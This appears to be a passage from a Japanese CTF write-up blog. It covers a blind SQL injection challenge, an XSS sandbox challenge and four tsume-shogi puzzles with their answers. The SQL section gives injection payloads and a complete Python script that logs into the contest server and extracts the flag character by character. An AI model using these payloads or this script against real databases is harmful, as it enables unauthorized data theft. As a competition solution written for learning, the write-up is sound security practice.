・''' or (select length(`flag`) from `flag` limit 1) > 50 --
 この場合は表示された
・''' or (select length(`flag`) from `flag` limit 1) > 60 --
 この場合は表示されなかった。

あとはブラインドSQLインジェクションで検索結果の表示の有無で条件の成否でフラグを絞っていく。プログラムは次のような感じ。

import urllib
import urllib2

protocol = 'http://'
user = 'yamatoctf'
password = 'GUn7Sn1LVJQZBwyG8wZPAItnoBZ04Tlx'
topUrl = '210.146.64.45'
url_base = protocol + topUrl + '/?q='

mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
mgr.add_password(None, topUrl, user, password)
handler = urllib2.HTTPBasicAuthHandler(mgr)
opener = urllib2.build_opener(handler)
urllib2.install_opener(opener)

for i in range(1, 61):
    query = '%27%27%27+or+%28select+length%28%60flag%60%29+from+%60flag%60'
    query += '+limit+1%29+%3D+' + str(i) + '+--'
    url = url_base + query
    request = urllib2.Request(url)
    response = urllib2.urlopen(request)
    data = response.read()
    if 'Proactive' in data:
        print 'The flag has ' + str(i) + ' characters'
        flaglen = i
        break

flaglist = []
for j in range(1, flaglen + 1):
    flag_c_str = ''
    for k in range(len(flaglist)):
        flag_c_str += str(ord(flaglist[k]))
        flag_c_str += ', '
    for c in range(33, 127):
        query = '%27%27%27+or+%28select+%60flag%60+from+%60flag%60'
        query += '+limit+1%29+%3C+char%28' + flag_c_str
        query += str(c) + '%29+--'
        url = url_base + query
        request = urllib2.Request(url)
        response = urllib2.urlopen(request)
        data = response.read()
        if 'Proactive' in data:
            print chr(c - 1),
            flaglist.append(chr(c - 1))
            break

flag = "".join(flaglist)
print ''
print 'The flag is ' + flag

この結果、flag={3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637}と表示された。

3rR0r_b453d_5Ql_1nj3c710N_50_1Mp0r74n7_d0_n07_F0r637

197 箱庭XSS 2 (超文書転送術 100)

箱庭XSSと同種の問題。alertと入れると何も表示されず、alert関数をそのまま使うことができない。だが<u>などのタグはそのまま使えるようだ。この程度の条件であれば、箱庭XSSと同じ答えで解決できる。
f:id:satou-y:20160210215114p:plain

n2SCCerG4J9kDkHqvHJNhwr4

201 将棋詰め壱 (兵法術 50)

詰将棋1手詰めの問題。普通に詰将棋のルールで解く。角を47から69に動かせばよい。
f:id:satou-y:20160210215444j:plain

4769

202 将棋詰め弐 (兵法術 100)

詰将棋の問題4つ。普通に詰将棋のルールで解けばよいが、本筋とは関係ないところで長い時間つまずいていた。右下の盤の縦の漢数字が4と7が逆になっていた。
左上は銀を26から35に動かせばよい。右上は金を57から56に動かせばよい。右下は桂馬を44におけばよい。 左下は馬を46から36に動かせばよい。
f:id:satou-y:20160210220203j:plain

26355756444636

203 将棋詰め参 (兵法術 150)

詰将棋3手詰めの問題。飛を54から56に動かす。玉は46から45に動く。飛を57から47に動かし龍となる。
f:id:satou-y:20160210220642j:plain

545646455747

204 将棋詰め四 (兵法術 200)

詰将棋5手詰めの問題。金を26から36に動かす。玉は46から56に動き、銀をとる。銀を77から66に動かし、金に成る。玉は56から45に動く。金を36から35に動かす。
f:id:satou-y:20160210221027j:plain

26364656776656453635